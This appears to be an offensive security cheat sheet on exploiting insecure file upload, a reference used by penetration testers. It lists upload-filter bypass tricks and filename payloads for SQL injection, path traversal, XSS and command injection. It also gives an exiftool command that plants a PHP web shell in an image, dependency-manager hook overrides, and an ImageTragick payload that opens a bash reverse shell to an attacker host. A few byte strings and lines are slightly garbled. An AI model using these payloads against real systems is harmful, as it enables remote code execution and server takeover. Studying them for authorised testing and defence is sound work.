Insecure File Upload

Upload Insecure Files #

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Summary #

Tools #

Exploits #


Defaults extensions #

  • PHP Server

# Less known PHP extensions
  • ASP Server
.cer and .asa # (IIS <= 7.5)
shell.aspx;1.jpg # (IIS < 7.0)
  • JSP : .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions
  • Perl: .pl, .pm, .cgi, .lib
  • Coldfusion: .cfm, .cfml, .cfc, .dbm

Upload tricks #

  • Use double extensions : .jpg.php, .png.php5
  • Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg
  • Random uppercase and lowercase : .pHp, .pHP5, .PhAr
  • Null byte (works well against pathinfo())
  • .php%00.gif
  • .php\x00.gif
  • .php%00.png
  • .php\x00.png
  • .php%00.jpg
  • .php\x00.jpg
  • Special characters
  • Multiple dots : file.php...... , in Windows when a file is created with dots at the end those will be removed.
  • Whitespace and new line characters
  • file.php%20
  • file.php%0d%0a.jpg
  • file.php%0a
  • Right to Left Override (RTLO): name.%E2%80%AEphp.jpg will became name.gpj.php.
  • Slash: file.php/, file.php.\, file.j\sp, file.j/sp
  • Multiple special characters: file.jsp/././././.
  • Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif
  • Content-Type : image/gif
  • Content-Type : image/png
  • Content-Type : image/jpeg
  • Content-Type wordlist: SecLists/content-type.txt
  • Set the Content-Type twice: once for unallowed type and once for allowed.
  • Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
  • PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
  • JPG: \xff\xd8\xff
  • GIF: GIF87a OR GIF8;
  • Shell can also be added in the metadata
  • Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)

Filename vulnerabilities #

Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.

  • Time-Based SQLi Payloads: e.g. poc.js'(select*from(select(sleep(20)))a)+'.extension
  • LFI/Path Traversal Payloads: e.g. image.png../../../../../../../etc/passwd
  • XSS Payloads e.g. '"><img src=x onerror=alert(document.domain)>.extension
  • File Traversal e.g. ../../../tmp/lol.png
  • Command Injection e.g. ; sleep 10;

Also you upload:

  • HTML/SVG files to trigger an XSS
  • EICAR file to check the presence of an antivirus

Picture Compression #

Create valid pictures hosting PHP code. Upload the picture and use a Local File Inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'".

  • Picture Metadata, hide the payload inside a comment tag in the metadata.
  • Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating getimagesize() and imagecreatefromgif().
  • JPG: use
  • PNG: use createPNGwithPLTE.php
  • GIF: use createGIFwithGlobalColorTable.php

Picture with custom metadata #

Create a custom picture and insert exif tag with exiftool. A list of multiple exif tags can be found at

convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg

Configuration Files #

If you are trying to upload files to a :

  • PHP server, take a look at the .htaccess trick to execute code.
  • ASP server, take a look at the web.config trick to execute code.
  • uWSGI server, take a look at the uwsgi.ini trick to execute code.

Configuration files examples

Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.

  • package.json
"scripts": {
    "prepare" : "/bin/touch /tmp/pwned.txt"
  • composer.json
"scripts": {
    "pre-command-run" : [
    "/bin/touch /tmp/pwned.txt"

CVE - ImageMagick #

If the backend is using ImageMagick to resize/convert user images, you can try to exploit well-known vulnerabilities such as ImageTragik.

  • ImageTragik example: Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
push graphic-context
viewbox 0 0 640 480
fill 'url("|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

More payloads in the folder Picture ImageMagick

CVE - FFMpeg #

FFmpeg HLS vulnerability

ZIP archive #

When a ZIP/archive file is automatically decompressed after the upload

  • Zip Slip: directory traversal to write a file somewhere else
python shell.php -o unix -f -p var/www/html/ -d 15

ln -s ../../../index.php symindex.txt
zip --symlinks symindex.txt

Jetty RCE #

Upload the XML file to $JETTY_BASE/webapps/

Labs #

References #